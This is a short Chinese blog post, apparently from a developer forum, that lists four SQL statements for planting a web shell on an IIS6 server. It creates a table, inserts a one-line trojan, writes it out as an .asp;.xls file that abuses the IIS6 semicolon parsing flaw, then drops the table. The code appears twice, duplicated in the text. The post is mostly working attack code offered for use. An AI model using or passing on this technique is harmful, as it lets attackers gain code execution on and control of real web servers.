本文介绍了通过四句SQL语句实现对IIS6服务器的漏洞利用过程：创建临时表、插入一句话木马、导出木马文件及删除临时表。此方法依赖于IIS6的解析漏洞。
第一句代码
create table cmd (a varchar(50))
第二句代码
insert into cmd (a) values ('一句话木马')
第三句代码
select * into [a] in 'e:\host\chouwazi.com\web\data\xiao.asp;xiao.xls' 'excel 4.0;' from cmd
第四句代码
drop table cmd
原理还是利用iis6的解析漏洞才能成功！
create table cmd (a varchar(50))
第二句代码
insert into cmd (a) values ('一句话木马')
第三句代码
select * into [a] in 'e:\host\chouwazi.com\web\data\xiao.asp;xiao.xls' 'excel 4.0;' from cmd
第四句代码
drop table cmd
原理还是利用iis6的解析漏洞才能成功！
扫一扫
1664
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
